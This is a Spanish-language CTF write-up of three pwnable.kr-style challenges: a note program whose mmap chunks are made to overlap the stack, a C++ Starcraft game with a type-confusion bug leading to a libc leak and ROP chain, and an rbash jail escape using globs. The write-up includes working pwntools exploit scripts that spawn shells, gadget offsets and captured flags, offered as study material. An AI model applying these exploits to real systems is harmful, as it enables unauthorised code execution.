El programa crea chunks (que luegos podemos editar, leer y eliminar) con mmap_s, un wrapper de mmap:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void create_note(void)
{
uint **mmap_chunk;
int idx;
idx = 0;
while( true ) {
if (255 < idx) {
puts("memory sults are fool");
return;
}
if ((&mem_arr_1028)[idx] == (uint **)0x0) break;
idx = idx + 1;
}
mmap_chunk = (uint **)mmap_s(0,0x1000,7,0x22,0x ffffffff,0);
(&mem_arr_1028)[idx] = mmap_chunk;
printf("note created. no %d\n [%08x]",idx,mmap_chu nk);
return;
}
| Los chunks tienen una extensión de 4096 bytes, y son ejecutables (protections = 7 = PROT_READ | PROT_WRITE | PROT_EXEC). Además conocemos sus direcciones de memoria. |
void * mmap_s(void *addr,size_t length,int prot,uint fl ags,int fd,__off_t offset)
{
int __fd;
ssize_t random_int;
void *pvVar1;
if ((addr == (void *)0x0) && ((flags & 0x10) == 0)) {
__fd = open("/dev/urandom",0);
if (__fd == -1) {
/* WARNING: Subroutine does not return * /
exit(-1);
}
random_int = read(__fd,&addr,4);
if (random_int != 4) {
/* WARNING: Subroutine does not return * /
exit(-1);
}
close(__fd);
addr = (void *)((uint)addr & 0x7ffff000 | 0x8000000 0);
while (pvVar1 = mmap(addr,length,prot,flags | 0x10 ,__fd,offset), pvVar1 == (void *)0xffffffff) {
addr = (void *)((int)addr + 0x1000);
}
}
else {
pvVar1 = mmap(addr,length,prot,flags,fd,offset);
}
return pvVar1;
}
Reserva memoria en una dirección aleatoria pero addr & 0x7ffff000 | 0x8000000 permite que mantenga la mayor parte de los bytes altos activos:
1
2
>>> hex(0x7ffff000 | 0x8000000)
'0x7ffff000'
Por lo que podemos reservar chunks muy cerca del stack. Este es el punto, podemos reservar chunks hasta que tengamos uno que comience por 0x7fff.
Stack grooming
void select_menu(void)
{
char command [1024];
int select [3];
puts("- Select Menu -");
puts("1. create note");
puts("2. write note");
puts("3. read note");
puts("4. delete note");
puts("5. exit");
__isoc99_scanf(&DAT_08048d0b_%d,select);
clear_newlines();
if (select[0] == 3) {
read_note();
goto LAB_080489eb;
}
if (select[0] < 4) {
if (select[0] == 1) {
create_note();
goto LAB_080489eb;
}
if (select[0] == 2) {
write_note();
goto LAB_080489eb;
}
}
else {
if (select[0] == 5) {
puts("bye");
return;
}
if (select[0] < 5) {
delete_note();
goto LAB_080489eb;
}
if (select[0] == 201527) {
puts("welcome to hacker\'s secret menu");
puts("i\'m sure 1byte overflow will be enough for y ou to pwn this");
fgets(command,1025,stdin);
goto LAB_080489eb;
}
}
puts("invalid menu");
LAB_080489eb:
select_menu();
return;
}
En select_menu la función no usa un bucle sino que se llama a sí misma recursivamente. Por lo que en cada iteración el stack crece 1024+3*4+8=1044 bytes aproximadamente. El stack crece hacia direcciones de memoria menores.
Podemos llamarla una buena cantidad de veces hasta hacer que el stack se solape con un chunk mmapeado.
Exploit
- Creamos un primer chunk de mmap y le introducimos shellcode.
- Reservamos un segundo chunk de mmap tan cerca como sea posible del stack. Basta con que comience con
0xfff. - Llamamos a
select_menuun par de veces más hasta que se solape con el segundo chunk. Es posible un SEGMENTATION FAULT aquí. - Escribimos en el segundo chunk la dirección del primer chunk tantas veces como podamos. Ahora, con suerte, alguna de las muchas direcciones de retorno a
select_menualmacenadas en el stack (o las demainolibc_start_main) contendrá la dirección del primer chunk. - Enviamos ‘5’ al programa para forzar un retorno y obtenemos la shell.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *
import re
elf = context.binary = ELF("./note")
def create():
io.recvuntil(b"exit\n")
io.sendline(b"1")
io.recvline()
line = io.recvline().strip().decode()
address = "0x" + re.findall("[a-z0-9]{8}",line)[0]
io.info(address)
return address
def write(idx,payload):
io.recvuntil(b"exit\n")
io.sendline(b"2")
io.recvuntil(b"note no?\n")
io.sendline(str(idx).encode())
io.recvuntil(b" (MAX : 4096 byte)\n")
io.sendline(payload)
def delete(idx):
io.recvuntil(b"exit\n")
io.sendline(b"4")
io.recvuntil(b"note no?\n")
io.sendline(str(idx).encode())
shellcode = asm(shellcraft.sh())
end = False
for _ in range(100):
#io = process("./loader")
io = remote("0.0.0.0",9019)
# maybe you need to add some sleep
try:
# Create a mmap chunk with shellcode inside
shellcode_chunk = int(create(),16)
write(0,shellcode)
# Mmap a chunk near the stack
for i in range(1024):
trampoline_chunk = create()
if "0xfff" in trampoline_chunk:
print("Jackpot!")
break
else:
delete(1)
if i == 1023:
io.close()
end = True
# Retry
if end:
end = False
continue
# Make the stack grow a little to overlap with the chunk
for _ in range(0x20):
io.sendline(b"1")
# Overwrite the stack with the address of our shellcode chunk
write(1,p32(shellcode_chunk)*1024)
# Return to our faked return address
io.sendline(b"5")
# Shell (hopefully)
io.interactive()
except Exception as e:
print("Error!")
io.close()
fy1_mmap_s_st4nds_f0r_mmap_stup1d
starcraft
1
2
3
4
5
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Análisis
El programa simula un juego de combate con unidades del mítico Starcraft. Está escrito en C++ y tiene un montón de clases, y por ende, vtables. Es recomendable tomarse un tiempo para analizarlo, renombrar y crear los tipos correspondientes en Ghidra u otro decompilador.
La unidad Templar tiene una opción llamada “arcon warp”, que transforma la unidad en un Arcon. De templar->vtable[2] a la que nombré templar_select_attack podemos observar:
undefined8 templar_select_attack(Templar *this,Protoss *adversary)
{
undefined8 uVar1;
ostream *poVar2;
uint attack_option;
if (this->is_player == 0) {
if ((Templar *)this->attack_vtable == this) {
poVar2 = std::operator<<((ostream *)&std::cout,
"select attack option (0. default, 1. ar con warp, 2. hallucination, 3. psionic strom) "
);
std::ostream::operator<<(poVar2,std::endl<>);
}
else {
poVar2 = std::operator<<((ostream *)&std::cout,"s elect attack option (0. default) ");
std::ostream::operator<<(poVar2,std::endl<>);
}
std::istream::operator>>((istream *)&std::cin,&attac k_option);
if (attack_option == 1) {
(**(code **)(*this->attack_vtable + 0x40))(this->at tack_vtable);
}
else if (attack_option == 2) {
(**(code **)(*this->attack_vtable + 0x48))(this->at tack_vtable);
}
else {
if (attack_option != 3) {
uVar1 = attacking_and_calling_vtable[3]
((Terran_or_Zerg *)this->attack_vtable,( Terran_or_Zerg *)adversary);
return uVar1;
}
(**(code **)(*this->attack_vtable + 0x50))(this->at tack_vtable);
}
uVar1 = 0;
}
else {
uVar1 = attacking_and_calling_vtable[3]((Terran_or_Zerg *)this,(Terran_or_Zerg *)adversary);
}
return uVar1;
}
attack_vtable es un puntero a la estructura de esta unidad en particular que se usa para decidir si es un Templar o un Arcon. La opción 1 llama a attack->vtable+0x40 (vtable[8]), función que nombré arcon_warp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
templar_vtable XREF[2]: set_templar:00103e75(*),
set_templar:00103e79(*)
00306810 82 27 10 00 addr ascii_artwork
00 00 00 00
00306818 4e 3f 10 00 addr FUN_00103f4e
00 00 00 00
00306820 f2 3f 10 00 00 addr templar_select_attack
00 00 00
00306828 8e 3f 10 00 addr FUN_00103f8e
00 00 00 00
00306830 26 3f 10 00 addr FUN_00103f26
00 00 00 00
00306838 30 3f 10 00 addr FUN_00103f30
00 00 00 00
00306840 3a 3f 10 00 addr FUN_00103f3a
00 00 00 00
00306848 44 3f 10 00 addr FUN_00103f44
00 00 00 00
00306850 4e 41 10 00 addr arcon_warp
00 00 00 00
void arcon_warp(Templar *unit)
{
Templar *new;
ostream *this;
if ((Templar *)unit->attack_vtable == unit) {
new = (Templar *)operator.new(0x138);
/* try { // try from 00104187 to 0010418b h as its CatchHandler @ 001041da */
Create_Arcon(new,unit->is_player);
unit->attack_vtable = (ulong *)new;
std::string::operator=((string *)&unit->shield,"arcon ");
}
else {
this = std::operator<<((ostream *)&std::cout,"can\'t morph twice");
std::ostream::operator<<(this,std::endl<>);
}
return;
}
void Create_Arcon(Templar *arcon,uint is_player)
{
ostream *this;
FUN_00102bbc(arcon);
arcon->vtable = (ulong **)&arcon_vtable;
arcon->is_player = is_player;
arcon->hp = 10;
*(undefined4 *)(arcon->padding2 + 8) = 350;
arcon->weapon = 50;
arcon->armor = 1;
/* try { // try from 00103d5d to 00103d89 h as its CatchHandler @ 00103d8c */
std::string::operator=((string *)&arcon->shield,"arcon");
this = std::operator<<((ostream *)&std::cout,"Mas of energy!");
std::ostream::operator<<(this,std::endl<>);
return;
}
Nota: Perdonen algunas inconsistencias en el decompilado como puede ser std::string::operator=((string *)&arcon->shield,"arcon"); en donde deberia ser &arcon->name.
Como se puede observar attack_vtable fue sustituida por la nueva estructura o clase Arcon. Sin embargo nótese en templar_select_attack que el lugar a donde apunta attack_vtable solo se toma en cuenta para mostrar el menú de opciones. Pero se puede elegir una opción fuera de rango aún siendo un Arcon:
else {
poVar2 = std::operator<<((ostream *)&std::cout,"s elect attack option (0. default) ");
std::ostream::operator<<(poVar2,std::endl<>);
}
// No hay validaciones aqui
std::istream::operator>>((istream *)&std::cin,&attac k_option);
if (attack_option == 1) {
(**(code **)(*this->attack_vtable + 0x40))(this->at tack_vtable);
}
else if (attack_option == 2) {
(**(code **)(*this->attack_vtable + 0x48))(this->at tack_vtable);
}
else {
if (attack_option != 3) {
uVar1 = attacking_and_calling_vtable[3]
((Terran_or_Zerg *)this->attack_vtable,( Terran_or_Zerg *)adversary);
return uVar1;
}
(**(code **)(*this->attack_vtable + 0x50))(this->at tack_vtable);
}
Type Confusion
Esta es una vulnerabilidad de confusión de tipo, donde, por ejemplo, seleccionando la opción 3, el cálculo para encontrar la función a ser invocada es este:
(**(code **)(*this->attack_vtable + 0x50))(this->at tack_vtable);
1
2
arcon_vtable XREF[2]: Create_Arcon:00103d0b(*), Create_Arcon:00103d0f(*)
00306890 82 27 10 00 addr ascii_artwork
1
2
hex(0x00306890 + 0x50)
'0x3068e0'
1
2
3
4
5
6
7
8
9
10
11
12
ultralisk_vtable XREF[2]: set_ultralisk:00103c41(*),
set_ultralisk:00103c45(*)
003068d0 82 27 10 00 addr ascii_artwork
00 00 00 00
003068d8 04 32 10 00 addr zerg_info
00 00 00 00
003068e0 c4 2f 10 00 addr zerg_select <---
00 00 00 00
003068e8 b8 30 10 00 addr zerg_attack
00 00 00 00
003068f0 d0 31 10 00 addr burrow
00 00 00 00
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
./starcraft
select your unit
1. Marin
2. Firebat
3. Ghost
4. Zealot
5. Draon
6. Templar
7. Zergling
8. Hydralisk
9. Ultralisk
6
Khassar' Detemplari...
Stage 1 start!
computer selected....My life for Aiur!
you are templar
computer is zealot
zealot is attacking templar
******* templar(me) *******
Shield : 12
HP : 20
Weapon : 0
Armor : 0
*************************
select attack option (0. default, 1. arcon warp, 2. hallucination, 3. psionic strom)
1
Mas of energy!
******* zealot(enemy) *******
Shield : 60
HP : 60
Weapon : 8
Armor : 1
*************************
zealot is attacking arcon
******* arcon(me) *******
Shield : 342
HP : 10
Weapon : 50
Armor : 1
*************************
select attack option (0. default)
3
select attack option (0. default, 1. burrow)
Boom!, acabamos invocando métodos en la vtable de la clase Hydralisk. Ahora veremos como explotar esto.
Libc Leak
Si usamos la opción 2, invocamos a zerg_info:
void zerg_info(Terran_or_Zerg *unit)
{
int iVar1;
ostream *poVar2;
if (unit->is_player == 0) {
poVar2 = std::operator<<((ostream *)&std::cout,"## ##### ");
poVar2 = std::operator<<(poVar2,(string *)&unit->n ame);
poVar2 = std::operator<<(poVar2,"(me) #######");
std::ostream::operator<<(poVar2,std::endl<>);
}
else {
poVar2 = std::operator<<((ostream *)&std::cout,"## ##### ");
poVar2 = std::operator<<(poVar2,(string *)&unit->n ame);
poVar2 = std::operator<<(poVar2,"(enemy) ###### #");
std::ostream::operator<<(poVar2,std::endl<>);
}
iVar1 = unit->hp;
poVar2 = std::operator<<((ostream *)&std::cout," H P : ");
poVar2 = (ostream *)std::ostream::operator<<(poVar 2,iVar1);
std::ostream::operator<<(poVar2,std::endl<>);
iVar1 = unit->weapon;
poVar2 = std::operator<<((ostream *)&std::cout," W eapon : ");
poVar2 = (ostream *)std::ostream::operator<<(poVar 2,iVar1);
std::ostream::operator<<(poVar2,std::endl<>);
iVar1 = unit->armor;
poVar2 = std::operator<<((ostream *)&std::cout," Ar mor : ");
poVar2 = (ostream *)std::ostream::operator<<(poVar 2,iVar1);
std::ostream::operator<<(poVar2,std::endl<>);
iVar1 = unit->is_burrowed;
poVar2 = std::operator<<((ostream *)&std::cout," is burrowed : ");
poVar2 = (ostream *)std::ostream::operator<<(poVar 2,iVar1);
std::ostream::operator<<(poVar2,std::endl<>);
iVar1 = *(int *)unit->burrowable;
poVar2 = std::operator<<((ostream *)&std::cout," is burrow-able? : ");
poVar2 = (ostream *)std::ostream::operator<<(poVar 2,iVar1);
std::ostream::operator<<(poVar2,std::endl<>);
poVar2 = std::operator<<((ostream *)&std::cout,"## #######################");
std::ostream::operator<<(poVar2,std::endl<>);
return;
}
Las propiedades is_burrowed y burrowable se encuentran bastante lejos de la dirección base de la clase y son contiguas:
1
2
3
4
5
6
7
8
9
10
Class Zerg
0x0 0x8 ulong * * ulong * * vtable
0x8 0x4 int int is_player
0xc 0x4 int int hp
0x10 0x4 int int weapon
0x14 0x4 int int armor
0x18 0x8 string * string * name
0x20 0x108 char[264] char[264] padding
0x128 0x4 int int is_burrowed
0x12c 0x20 char[32] char[32] burrowable
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
0010335d 48 8b 45 e8 MOV RAX,qword ptr [RBP + local_20]
00103361 8b 98 28 01 MOV EBX,dword ptr [RAX + 0x128] // is_burrowed
00 00
00103367 48 8d 35 15 LEA RSI,[s_is_burrowed_:_00105083] = " is burrowed : "
1d 00 00
0010336e 48 8b 05 fb MOV RAX,qword ptr [->std::cout] = 00308090
3b 20 00
00103375 48 89 c7 MOV unit=>std::cout,RAX = ??
00103378 e8 63 ed ff ff CALL <EXTERNAL>::std::operator<< ostream * operator<<(ostream * param
0010337d 89 de MOV ESI,EBX
0010337f 48 89 c7 MOV unit,RAX
00103382 e8 09 ed ff ff CALL <EXTERNAL>::std::ostream::operator<< undefined operator<<(ostream * this, int
00103387 48 8b 15 2a MOV RDX=><EXTERNAL>::std::endl<>,qword ptr [-><EXTERNAL>: = ??
3c 20 00 = 003080d8
0010338e 48 89 d6 MOV RSI=><EXTERNAL>::std::endl<>,RDX = ??
00103391 48 89 c7 MOV unit,RAX
00103394 e8 e7 ed ff ff CALL <EXTERNAL>::std::ostream::operator<< undefined operator<<(ostream * this, _fu
00103399 48 8b 45 e8 MOV RAX,qword ptr [RBP + local_20]
0010339d 8b 98 2c 01 MOV EBX,dword ptr [RAX + 0x12c] // burrowable
00 00
1
2
3
4
5
6
7
8
9
select attack option (0. default)
2
####### arcon(me) #######
HP : 10
Weapon : 50
Armor : 1
is burrowed : -1021185216
is burrow-able? : 32708
#########################
Hay un leak de una dirección de memoria:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pwndbg> pd 1
0x55555540335d mov rax, qword ptr [rbp - 0x18]
► 0x555555403361 mov ebx, dword ptr [rax + 0x128] EBX, [0x55555561af18] => 0xf7a4c340
pwndbg> regs
RAX 0x55555561adf0 —▸ 0x555555606890 (vtable for Arcon+16) —▸ 0x555555402782 ◂— push rbp
*RBX 0xf7a4c340
pwndbg> x/gx 0x55555561af18
0x55555561af18: 0x00007ffff7a4c340
pwndbg> x/gx 0x00007ffff7a4c340
0x7ffff7a4c340 <__GI_exit>: 0x000001b908ec8348
pwndbg> vmmap libc
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File (set vmmap-prefer-relpaths on)
0x555555608000 0x555555629000 rw-p 21000 0 [heap]
► 0x7ffff7a0a000 0x7ffff7a32000 r--p 28000 0 /usr/lib/x86_64-linux-gnu/libc.so.6
► 0x7ffff7a32000 0x7ffff7b97000 r-xp 165000 28000 /usr/lib/x86_64-linux-gnu/libc.so.6
► 0x7ffff7b97000 0x7ffff7bed000 r--p 56000 18d000 /usr/lib/x86_64-linux-gnu/libc.so.6
► 0x7ffff7bed000 0x7ffff7bf1000 r--p 4000 1e2000 /usr/lib/x86_64-linux-gnu/libc.so.6
► 0x7ffff7bf1000 0x7ffff7bf3000 rw-p 2000 1e6000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7bf3000 0x7ffff7c00000 rw-p d000 0 [anon_7ffff7bf3]
pwndbg> distance 0x7ffff7a0a000 0x00007ffff7a4c340
0x7ffff7a0a000->0x7ffff7a4c340 is 0x42340 bytes (0x8468 words)
El leak es de exit en libc, los offsets coinciden con mi versión de glibc:
1
2
3
4
readelf -a /lib/x86_64-linux-gnu/libc.so.6 | grep exit
0000001e6e88 056800000006 R_X86_64_GLOB_DAT 00000000001e7208 obstack_exit_failure@@GLIBC_2.2.5 + 0
0000001e6fa8 008000000006 R_X86_64_GLOB_DAT 00000000001e72e8 argp_err_exit_status@@GLIBC_2.2.5 + 0
531: 0000000000042340 26 FUNC GLOBAL DEFAULT 15 exit@@GLIBC_2.2.5
Ahora con este leak solo necesitamos alguna forma de hacer ret2libc.
ascii_artwork
Habrá notado el lector que ascii_artwork aparece como la primera función en ser referenciada por las vtables de cada unidad. Veamos que hace:
void ascii_artwork(Templar *unit)
{
ostream *this;
if ((float)m_level < (float)g_level) {
this = std::operator<<((ostream *)&std::cout,"input unit ascii artwork : ");
std::ostream::operator<<(this,std::endl<>);
FUN_001026f8(std::string::string,300);
std::operator>>((istream *)&std::cin,unit->padding + 4);
}
return;
}
1
2
3
4
5
6
7
8
9
10
11
Class Templar
0x0 0x8 ulong * * ulong * * vtable
0x8 0x4 uint uint is_player
0xc 0x4 uint uint hp
0x10 0x4 uint uint weapon
0x14 0x4 uint uint armor
0x18 0x4 uint uint shield
0x1c 0x104 char[260] char[264] padding
0x124 0x8 ulong * ulong * called_address
0x12c 0x10 char[16] char[16] padding2
0x13c 0x8 ulong * ulong * attack_vtable
La función escribe hasta 300 bytes a un offset de 0x20 bytes de la clase que lo invoca. Tenga esto en mente. Cada clase ofrece una posibilidad de “hacer trampa” luego de perder:
undefined8 zerg_attack(Templar *adversary,Terran_o r_Zerg *this)
{
ostream *poVar1;
undefined8 uVar2;
int local_1c [3];
if (*(int *)adversary->padding2 == 0) {
adversary->hp = adversary->hp + (adversary->arm or - this->weapon);
}
if ((int)adversary->hp < 0) {
poVar1 = std::operator<<((ostream *)&std::cout,(str ing *)&adversary->shield);
poVar1 = std::operator<<(poVar1," is dead!");
std::ostream::operator<<(poVar1,std::endl<>);
if (adversary->is_player == 0) {
std::operator<<((ostream *)&std::cout,"wanna che at...? (yes:1 / no:0) : ");
std::istream::operator>>((istream *)&std::cin,local_ 1c);
if (local_1c[0] != 0) {
poVar1 = std::operator<<((ostream *)&std::cout," ha! its an exit trap. no ROP for you :P");
std::ostream::operator<<(poVar1,std::endl<>);
(*(code *)adversary->called_address)(0x31337);
}
}
uVar2 = 1;
}
else {
uVar2 = 0;
}
return uVar2;
}
Y casualmente acaban invocando lo que sea que contenga la clase en el offset 0x128, pasándole el parametro 0x31337.
Explotación
La idea es obtener el leak de exit para calcular la dirección base de libc, luego llamar a ascii_artwork para escribir nuestra dirección en el offset 0x128. Lamentablemente en este vector no podemos controlar parámetros y solo podemos usar un gadget. Usar one_gadget no me resultó porque ninguno cumplía los requisitos necesarios así que la estrategia cambió un poco.
El programa en main da otra opción de “hacer trampas”:
std::operator<<((ostream *)&std::cout,"wanna che at? (yes/no) : ");
std::operator>>((istream *)&std::cin,input);
answer = strstr(input,"yes");
if (answer != (char *)0x0) {
std::operator<<((ostream *)&std::cout,"your com mand : ");
std::operator>>((istream *)&std::cin,input);
(*(code *)*game_state->functions)(game_state,in put);
game_state->functions apunta a la función que llamé cheat_codes:
void cheat_codes(new_struct *game_state,char *input )
{
char *coincidence;
ostream *poVar1;
coincidence = strstr(input,"show me the money");
if (coincidence != (char *)0x0) {
game_state->resources = game_state->resources + 10000;
}
coincidence = strstr(input,"black sheep wall");
if (coincidence != (char *)0x0) {
poVar1 = std::operator<<((ostream *)&std::cout,"no w I see the map!");
std::ostream::operator<<(poVar1,std::endl<>);
}
coincidence = strstr(input,"there is no cow level");
if (coincidence != (char *)0x0) {
poVar1 = std::operator<<((ostream *)&std::cout,"vic tory!");
std::ostream::operator<<(poVar1,std::endl<>);
}
coincidence = strstr(input,"there is no pwnable.kr lev el");
if ((coincidence != (char *)0x0) && (999999 < (int)ga me_state->resources)) {
std::operator<<((ostream *)&std::cout,"you cheater! ");
}
return;
}
En sí esta función no aporta nada, de hecho ni siquiera podemos hacer una coincidencia porque cin deja de consumir entrada en el primer espacio.
Sin embargo algo que si se puede notar es que:
char input [72];
Y que cin NO limita la cantidad de caracteres, o por lo menos eso parece. Lo que nos permite causar un buffer overflow y tener una ROPchain en el stack.
¿De qué nos sirve esto si main está protegida por un canario? Bueno, podemos usar un gadget tipo add rsp, imm; ret para mover el puntero de pila hacia nuestra entrada en main, con lo que podemos hacer un ret2libc para invocar system("/bin/sh") sin problemas.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
from pwn import *
elf = ELF("./starcraft", checksec=False)
libc = ELF("./libc-2.23.so")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
#io = process("./starcraft")
io = remote("0.0.0.0",9020)
# Select Templar
io.sendlineafter(b"9. Ultralisk\n",b"6")
# Transform Templar into Arcon
io.sendlineafter(b"strom)",b"1")
## Type confusion
## On purpose, the program uses a vtable pointer at the end of the Templar instance to differentiate it from the Arcon
## The problem is that it keeps using the normal Templar vtable to select the attack and uses the other vtable pointer to jump to the correspinding function
## Calling templar_vtable->select_attack allow us to run Arcon vtable out of bounds
## Running Arcon functions out of bounds leads to running functions from the Hydralisk vtable (or maybe another Zerg class, idk)
# Calling hydralisk_vtable->zerg_info
io.sendlineafter(b"default)",b"2")
# Leaking exit@libc address
io.recvuntil(b"is burrowed : ")
low_bytes = int(io.recvline().strip()) & 0xffffffff
io.recvuntil(b"is burrow-able? : ")
high_bytes = int(io.recvline().strip())
# Calculate libc base address
libc_exit = (high_bytes << 32) | low_bytes
libc.address = libc_exit - libc.sym['exit']
one_gadget = libc.address + 0xddf43
io.info("glibc base address: " + hex(libc.address))
io.info("one gadget address: " + hex(one_gadget))
# LIBC 2.23.SO
# 0x00000000000353ba : add rsp, 0x148 ; ret
# 0x0000000000021112 : pop rdi ; ret
# LIBC 2.41.SO
# 0x00000000000bb6a3 : add rsp, 0x110 ; pop rbx ; ret
# 0x000000000002a145 : pop rdi ; ret
while True:
sleep(0.1)
data = io.recv(1024)
if b"wanna cheat...?" in data:
print("try again.")
break
if b"wanna cheat?" in data:
# Calling cheat_codes
# Prepare ROPchain
io.sendline(b"yes")
sleep(0.1)
# local
# pop_rdi_ret = libc.address + 0x000000000002a145
#io.sendline(cyclic(32) + p64(pop_rdi_ret) + p64(next(libc.search(b'/bin/sh\x00'))) + p64(libc.sym['system']))
# remote
pop_rdi_ret = libc.address + 0x0000000000021112
io.sendline(cyclic(80) + p64(pop_rdi_ret) + p64(next(libc.search(b'/bin/sh\x00'))) + p64(libc.sym['system']))
sleep(0.2)
# Calling hydralisk_vtable->ascii_artwork
# Overwrite exit@libc with a gadget
io.sendline(b"1")
sleep(0.1)
# local
#add_rsp_hex_110 = libc.address + 0x00000000000bb6a3
# remote
add_rsp_hex_114 = libc.address + 0x00000000000353ba
io.sendline(b"A"*264 + p64(add_rsp_hex_114))
sleep(0.2)
# win
io.sendline(b"w")
io.recv(2048)
sleep(0.2)
io.interactive()
break
io.sendline(b"0")
c14ss_typ3_c0nfusion_1s_so0o_CoNfus1nG
cmd3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/python2
import base64, random, math
import os, sys, time, string
from threading import Timer
def rstring(N):
return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(N))
password = rstring(32)
filename = rstring(32)
TIME = 60
class MyTimer():
global filename
timer=None
def __init__(self):
self.timer = Timer(TIME, self.dispatch, args=[])
self.timer.start()
def dispatch(self):
print 'time expired! bye!'
sys.stdout.flush()
os.system('rm flagbox/'+filename)
os._exit(0)
def filter(cmd):
blacklist = '` !&|"\'*'
for c in cmd:
if ord(c)>0x7f or ord(c)<0x20: return False
if c.isalnum(): return False
if c in blacklist: return False
return True
if __name__ == '__main__':
MyTimer()
print 'your password is in flagbox/{0}'.format(filename)
os.system("ls -al")
os.system("ls -al jail")
open('flagbox/'+filename, 'w').write(password)
try:
while True:
sys.stdout.write('cmd3$ ')
sys.stdout.flush()
cmd = raw_input()
if cmd==password:
os.system('./flagbox/print_flag')
raise 1
if filter(cmd) is False:
print 'caught by filter!'
sys.stdout.flush()
raise 1
os.system('echo "{0}" | base64 -d - | env -i PATH=jail /bin/rbash'.format(cmd.encode('base64')))
sys.stdout.flush()
except:
os.system('rm flagbox/'+filename)
os._exit(0)
Podemos ejecutar comandos en una shell rbash con un filtro muy restrictivo. Podemos usar estos caracteres:
# $ % ( ) + , - . / : ; < = > ? @ [ \ ] ^ _ { } ~ \
Con lo que tenemos podemos abusar de las expansiones de shell con $ y del glob ?. Hay muchas soluciones a esto. Pero describiré la que considero fue la mas sencilla que alguien usó.
Con el operador ‘?’ podemos hacer coincidir comandos, ya que ‘?’ significa cualquier caracter. Por ejemplo, si queremos hacer coincidir el patrón con jail/cat hacemos esto:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
cmd3@ubuntu:~$ nc 0 9023
total 128
drwxr-x--- 5 root cmd3_pwn 4096 Jun 7 2025 .
drwxr-xr-x 118 root root 4096 Jun 1 2025 ..
d--------- 2 root root 4096 Jan 22 2016 .bash_history
-rwxr-x--- 1 root cmd3_pwn 1422 Apr 1 2025 cmd3.py
drwx-wx--- 2 root cmd3_pwn 20480 Jan 28 19:04 flagbox
drwxr-x--- 2 root cmd3_pwn 4096 Jan 22 2016 jail
-rw-r--r-- 1 root root 81885 Dec 21 22:37 log
-rw-r----- 1 root root 764 Mar 10 2016 super.pl
total 8
drwxr-x--- 2 root cmd3_pwn 4096 Jan 22 2016 .
drwxr-x--- 5 root cmd3_pwn 4096 Jun 7 2025 ..
lrwxrwxrwx 1 root root 8 Jan 22 2016 cat -> /bin/cat
lrwxrwxrwx 1 root root 11 Jan 22 2016 id -> /usr/bin/id
lrwxrwxrwx 1 root root 7 Jan 22 2016 ls -> /bin/ls
your password is in flagbox/4K72PCH8EFC4F6YTZW5H4AQY9PUBYIOA
cmd3$ ????/???
/bin/rbash: line 1: jail/cat: restricted: cannot specify `/' in command names
’????/???’ se interpreta como “la ruta que coincida con cuatro caracteres cualquiera seguidos de ‘/’ seguidos de tres caracteres cualquiera”. Dado que la única ruta que cumple esta condición es jail/cat, la shell hace el reemplazo.
No podemos usar espacios pero podemos redirigir el contenido de un archivo con ‘<’. Pero aunque es posible llegar a ejecutar ‘cat<flagbox/4K72PCH8EFC4F6YTZW5H4AQY9PUBYIOA’ por otra via que no exploraré aquí, esto fallará con error restricted: cannot specify '/' in command names.
Una solución es escribir ‘cat flagbox/4K72PCH8EFC4F6YTZW5H4AQY9PUBYIOA’ en un archivo en /tmp (directorio donde cualquiera puede leer/escribir) como por ejemplo /tmp/.___/_ (así para que sea único el emparejamiento cuando usemos ‘?’) y luego ejecutarlo.
Es posible crear un directorio y copiarlo porque el programa corre en el mismo sistema de archivos:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
cat readme
if you connect to port 9023, the "cmd3.py" script will be executed under cmd3_pwn privilege.
type 'nc 0 9023' to play this challenge. have fun escaping from rbash jail :)
FYI, 'print_flag' is the program which prints out the flag of cmd3.
ls /home/
aeg blackjack coin1_pwn dragon_pwn input2_pwn loveletter note rsa_calculator syscall
aeg_pwn blackjack_pwn coin2 echo2 kcrc loveletter_pwn note_pwn rsa_calculator_pwn tiny_easy
ascii bof coin2_pwn echo2_pwn kcrc_pwn malware nuclear runall.sh tiny_easy_pwn
ascii_easy bof_pwn col elf leakme malware_pwn nuclear_pwn sadmin tiny_hard
ascii_pwn brainfuck crashgen elf_pwn leakme_pwn maze otp simplelogin tiny_hard_pwn
asg brainfuck_pwn crashgen_pwn exynos leg maze_pwn otp_pwn simplelogin_pwn towelroot
asg_pwn chatbot crcgen_pwn fd legacy_challs md5calculator passcode sizcaller towelroot_pwn
asm chatbot_pwn crypto1 grail lfh md5calculator_pwn passcode_pwn sizcaller_pwn uaf
asm2 cmd1 crypto1_pwn horcruxes lfh_pwn memcpy pwnsandbox softmmu uaf_pwn
asm2_pwn cmd2 daehee horcruxes_pwn lokihardt memcpy_pwn pwnsandbox_pwn softmmu_pwn unlink
asm3 cmd3 dos hunter lokihardt_pwn mipstake random sshmonitor unlink_pwn
